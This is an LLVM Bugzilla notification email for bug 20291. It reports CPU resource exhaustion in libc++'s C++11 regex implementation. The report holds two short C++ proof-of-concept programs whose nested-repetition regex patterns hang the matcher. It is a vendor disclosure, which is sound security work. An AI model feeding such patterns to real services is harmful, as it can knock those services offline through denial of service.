<html>
<head>
<base href="http://llvm.org/bugs/" />
</head>
<body><table border="1" cellspacing="0" cellpadding="8">
<tr>
<th>Bug ID</th>
<td><a class="bz_bug_link
bz_status_NEW "
title="NEW --- - libcxx C++11 regex cpu resource exhaustion"
href="http://llvm.org/bugs/show_bug.cgi?id=20291">20291</a>
</td>
</tr>
<tr>
<th>Summary</th>
<td>libcxx C++11 regex cpu resource exhaustion
</td>
</tr>
<tr>
<th>Product</th>
<td>libc++
</td>
</tr>
<tr>
<th>Version</th>
<td>3.4
</td>
</tr>
<tr>
<th>Hardware</th>
<td>PC
</td>
</tr>
<tr>
<th>OS</th>
<td>FreeBSD
</td>
</tr>
<tr>
<th>Status</th>
<td>NEW
</td>
</tr>
<tr>
<th>Severity</th>
<td>normal
</td>
</tr>
<tr>
<th>Priority</th>
<td>P
</td>
</tr>
<tr>
<th>Component</th>
<td>All Bugs
</td>
</tr>
<tr>
<th>Assignee</th>
<td>unassignedclangbugs@nondot.org
</td>
</tr>
<tr>
<th>Reporter</th>
<td>max@cert.cx
</td>
</tr>
<tr>
<th>CC</th>
<td>llvmbugs@cs.uiuc.edu, mclow.lists@gmail.com
</td>
</tr>
<tr>
<th>Classification</th>
<td>Unclassified
</td>
</tr></table>
<p>
<div>
<pre>clang 3.4 objective regex resource exhaustion
I've discovered cpu exhaustion in regex implementation of libcxx.
PoC1:
----------------------------------------------
#include <iostream>
#include <regex>
#include <string>
using namespace std;
int main() {
try {
regex r("(.*(.*){999999999999999999999999999999999})",
regex_constants::extended);
smatch results;
string test_str =
"|||||||||||||||||||||||||||||||||||||||||||||||||||||||";
if (regex_search(test_str, results, r))
cout << results.str() << endl;
else
cout << "no match";
} catch (regex_error &e) {
cout << "extended: what: " << e.what() << "; code: " << e.code() <<
endl;
}
return 0;
}
----------------------------------------------
PoC2:
----------------------------------------------
#include <iostream>
#include <regex>
#include <string>
using namespace std;
int main() {
try {
regex r("((((((.*(.*)(.*)(.*).*).*).*).*).*.*)findme)");
smatch results;
string test_str =
"|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||";
if (regex_search(test_str, results, r))
cout << results.str() << endl;
else
cout << "no match";
} catch (regex_error &e) {
cout << "extended: what: " << e.what() << "; code: " << e.code() <<
endl;
}
return 0;
}
----------------------------------------------
EXPECTED:
regex_constants::error_complexity
BR,
Maksymilian Arciemowicz
<a href="http://cxsecurity.com/">http://cxsecurity.com/</a></pre>
</div>
</p>
<hr>
<span>You are receiving this mail because:</span>
<ul>
<li>You are on the CC list for the bug.</li>
</ul>
</body>
</html>